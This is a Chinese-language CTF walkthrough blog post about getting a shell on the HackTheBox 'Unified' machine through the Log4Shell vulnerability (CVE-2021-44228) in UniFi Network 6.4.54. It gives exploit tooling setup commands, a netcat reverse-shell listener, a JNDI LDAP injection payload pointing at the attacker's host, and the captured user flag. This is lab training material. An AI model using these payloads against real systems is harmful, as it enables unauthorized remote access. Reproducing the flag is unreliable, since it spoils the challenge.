利用CVE-2021-44228漏洞获得Unifi Network的Shell

目标:Hackthebox的Unified实例

通过nmap工具扫描,可以获得该目标运行的端口以及服务,了解到该目标运行web应用,用https:// 10.129.232.197:8443 访问得知,似乎是一个网络设备的管理页面,根据提示,该页面为Unifi Network设备管理页面,并且版本为:6.4.54。

利用搜索引擎查找根据Unifi Network 6.4.54版本相关的漏洞,得知该版本存在漏洞:CVE-2021-44228。后文即为利用该漏洞获得对目标的shell权限,并提取到user flag。

 

第一步:根据下述步骤在Kali Linux安装docker

#apt update

#curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add –

#echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' |
#sudo tee /etc/apt/sources.list.d/docker.list

#apt update

#apt remove docker docker-engine docker.io

#apt install docker-ce -y

#systemctl start docker

#systemctl enable docker

第二步:下载CVE-2021-44228漏洞利用Docker镜像

执行下述命令在kali Linux安装JDK以及maven:

#apt update && apt install openjdk-11-jre maven
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt
#mvn package -f utils/rogue-jndi/

下载并制作Docker Log4jUnifi镜像:

#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .

 

此时在Kali Linux 上用openVPN连接上Hackthebox,启动Unified实例,然后在kali Linux用nc启动监听:

 # nc -nlvp 1234 -s 10.10.14.165

#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https:// 10.129.232.197:8443 -i 10.10.14.165 -p 1234

输出:

{"username": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.14.165:1389/o=tomcat}", "strict":true}

 

成功拿到shell

并得到用户flag:

6ced1a6a89e666c0620cdb10262ba127

posted @ 2022-03-29 16:55  Jason_huawen  阅读(1469)  评论(0编辑  收藏  举报